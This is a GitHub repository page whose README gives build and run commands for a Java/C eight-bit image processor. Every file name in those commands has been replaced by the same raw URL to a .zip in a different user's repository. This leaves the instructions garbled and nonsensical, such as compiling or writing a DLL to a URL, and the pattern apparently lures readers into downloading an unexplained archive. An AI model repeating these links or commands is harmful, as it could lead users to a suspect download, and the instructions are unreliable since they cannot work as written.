Skip to content

malricky/EightBitImageJava

Repository files navigation

Eight Bit Image Processor

Usage:

  1. javac https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip
  2. java -Xmx8g Main -i <path_to_image_file> -t <number_of_threads_to_be_used> [-d <GPU device id>][optional]

Example:

  1. javac https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip
  2. java -Xmx8g Main -i https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -t 8

Conversion of C program to .DLL shared object file

gcc -shared -o https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip image_processor.c -I"C:/Program Files/Java/jdk-23/include" -I"C:/Program Files/Java/jdk-23/include/win32" -I"C:/Users/RICKY/Documents/5TH_SEM_PROJ" -L"C:/Program Files (x86)/Common Files/Intel/Shared Libraries/lib" -I"C:/Users/RICKY/Downloads/OpenCL-Headers-main/OpenCL-Headers-main" -lOpenCl -fopenmp

Replace the directories with your own path

java -jar https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -i <path_to_image> [-t <number_of_threads>][optional]

Example:

java -jar https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -i https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -t 8

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •